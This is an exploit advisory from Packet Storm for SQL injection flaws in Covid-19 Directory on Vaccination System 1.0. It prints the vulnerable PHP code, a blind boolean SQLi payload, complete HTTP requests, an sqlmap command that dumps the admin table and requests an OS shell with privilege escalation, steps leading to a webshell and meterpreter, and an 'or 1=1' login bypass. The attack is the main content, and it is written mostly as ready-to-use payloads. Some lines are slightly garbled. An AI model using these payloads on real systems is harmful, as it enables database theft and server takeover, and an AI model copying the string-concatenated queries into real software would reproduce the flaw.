Covid-19 Directory On Vaccination System 1.0 SQL Injection

Covid-19 Directory on Vaccination System version 1.0 suffers from multiple remote SQL injection vulnerabilities. This research was submitted on the same day Packet Storm received similar findings from Saud Alenazi.


MD5 | fc536bcdc9d9c883b8df5e2703f90ee0

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# Title: Covid-19 Directory on Vaccination System 1.0 Blind boolean SQLi To Rce
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/covid-19-vaccination_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


# Steps
# 1.- Go to : http://0day.gov//covid-19/hospital.php?cmdcategory=1 
# 2 - manual inject Blind SQli https://0day.gov/covid-19/hospital.php?cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hejap%'='hejap
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell 
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code  php

---
```php
    $category = $_GET['cmdcategory'];
   // $conn = new mysqli ($servername, $username, $password, $dbname) or die("Connection to Database Failed");
    $stmt = $conn->stmt_init();
    $sql = "SELECT vaccination_center FROM hospital WHERE category_id  = (select id_no from category where category like '$category%')";
    $stmt->prepare($sql);
    $stmt->execute();
    $result = $stmt->get_result();
    while($resultRow = $result->fetch_array(MYSQLI_NUM))
        echo "<option>$resultRow[0]</option>";
    $result->close();
    $stmt->close();
```
---
#Status: CRITICAL
[+] Payload GET

---
GET /covid-19/hospital.php?cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hejap%'='hejap HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=av2qn4bthu78hm972lul6vmniv
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Te: trailers
Connection: close
---

```
---
Parameter: cmdcategory (GET)
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)
    Payload: cmdcategory=1%' AND MAKE_SET(1373=1373,8255) AND 'hJWj%'='hJWj

---

```
#Blind SQLi Time to Rce
#ُExploit 


sqlmap -u http://0day.gov/covid-19/hospital.php?cmdcategory=1" -p cmdcategory 
'  --hex --time-sec=10 --dbms=mysql --technique=b  --random-agent  --eta   -D covid19 -T admin  --dump --os-shell    --priv-esc    

# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/xeWSc7B.png
https://i.imgur.com/XiVBeYa.png


----------------------------------


# Title: Covid-19 Directory on Vaccination System 1.0 - SQLi Authentication Bypass
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.sourcecodester.com/php/15244/design-and-implementation-covid-19-directory-vacination.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/covid-19-vaccination_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


# Steps
# 1.- Go to : https://0day.gov/covid-19/admin/login.php
# 2 -  SQLi Authentication Bypass [admin'or 1=1 or ''=']

#vulnerability Code  php

---
```php
if(isset($_POST['btnlogin']))
{
$username = $_POST['txtusername'];
$password = $_POST['txtpassword'];
$status = 'Active';
 $sql = "SELECT * FROM admin WHERE username='" .$username. "' and password = '".$password."'  and status = '".$status."' ";

```
---
#Status: CRITICAL
[+] Payload POST

---
POST /covid-19/admin/login.php HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/covid-19/admin/login.php
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
txtusername=admin%27or+1%3D1+or+%27%27%3D%27&txtpassword=hejap&btnlogin=
---

#Blind SQLi Time to Rce
#ُExploit 


# Description:
The  SQLi vulnerability We can use this information to construct an injection attack to bypass authentication.


# Proof and Exploit:

https://i.imgur.com/oDj69Hw.png
https://i.imgur.com/JO4SLxa.png
https://i.imgur.com/kYgU7xl.png


Source: packetstormsecurity.com
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